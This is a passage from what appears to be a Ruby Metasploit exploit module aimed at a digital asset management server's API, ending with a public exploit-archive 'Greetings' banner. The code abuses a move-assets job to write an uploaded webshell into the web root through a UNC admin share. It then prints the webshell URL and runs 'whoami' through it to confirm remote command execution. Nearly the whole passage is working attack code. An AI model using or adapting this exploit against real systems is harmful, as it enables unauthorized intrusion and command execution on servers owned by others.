if watchfolder_path.nil? || !watchfolder_path.include?(':')
fail_with(Failure::UnexpectedReply, "Invalid watchfolder path format: #{watchfolder_path}")
end
parts = watchfolder_path.split(':')
if parts.length >= 3
hostname = parts[2]
unc_root = webroot_base.gsub('C:', "::#{hostname}:C$").gsub('\\', ':')
webroot_path = unc_root
else
fail_with(Failure::UnexpectedReply, "Unexpected watchfolder path format: #{watchfolder_path}")
end
job_data = {
'job' => {
'description' => 'JOB_TYPE_MOVE_ASSETS',
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
},
'tasks' => [
{
'type' => 'moveAssets',
'settings' => [
{
'name' => 'destinationCatalog',
'value' => catalog_id
},
{
'name' => 'destination',
'value' => webroot_path
},
{
'name' => 'preserveFolderStructure',
'value' => false
},
{
'name' => 'sourceFolder',
'value' => ''
}
]
}
]
},
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
}
}
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v1/job/run'),
'ctype' => 'application/json',
'vars_get' => {
'session' => session,
'catalog' => catalog_id
},
'data' => job_data.to_json
})
if res.nil?
fail_with(Failure::Unreachable, "Connection failed during job execution")
end
if res.code == 200
full_webroot_path = "#{webroot_base}\\#{filename}"
register_file_for_cleanup(full_webroot_path)
protocol = ssl? ? 'https' : 'http'
target_host = rhost
target_port = rport
webshell_url = "#{protocol}://#{target_host}:#{target_port}/#{filename}?cmd=<command>"
print_good("Successfully exported webshell to filesystem")
print_good("Webshell URL: #{webshell_url}")
return true
elsif res.code == 403
fail_with(Failure::NoAccess, "Export failed: Insufficient privileges - Need Catalog Administrator privileges for Vault catalogs")
else
fail_with(Failure::Unknown, "Export failed: HTTP #{res.code}")
end
end
def execute_command(cmd, filename)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, filename),
'vars_get' => { 'cmd' => cmd }
})
if res.nil?
print_error("Connection failed for command execution")
return nil
end
if res.code == 200 && res.body
match = res.body.match(/<pre>(.*?)<\/pre>/m)
return match[1].strip if match
return res.body
end
nil
end
def exploit
filename = Rex::Text.rand_text_alpha(10) + '.txt'
session = login()
catalog_info = get_catalog_info(session)
unless catalog_info.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
end
if catalog_info['storage_type'] == 'Filesystem' && catalog_info['watchfolder_id'].nil?
fail_with(Failure::NotFound, 'No watchfolder found for Filesystem catalog')
end
asset_id = upload_webshell(session, catalog_info['catalog_id'], filename, catalog_info['watchfolder_id'])
new_filename = rename_webshell(session, catalog_info['catalog_id'], asset_id, filename)
success = write_to_webroot(session, asset_id, catalog_info, new_filename)
print_status("Waiting #{datastore['DELAY']} seconds for file to be written...")
Rex.sleep(datastore['DELAY'])
print_status("Testing webshell with 'whoami' command")
result = execute_command('whoami', new_filename)
if result && !result.empty?
print_good("Webshell test successful! Output:\n#{result}")
print_status("Webshell is ready for payload execution")
else
print_error("Webshell test failed - manual check required")
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================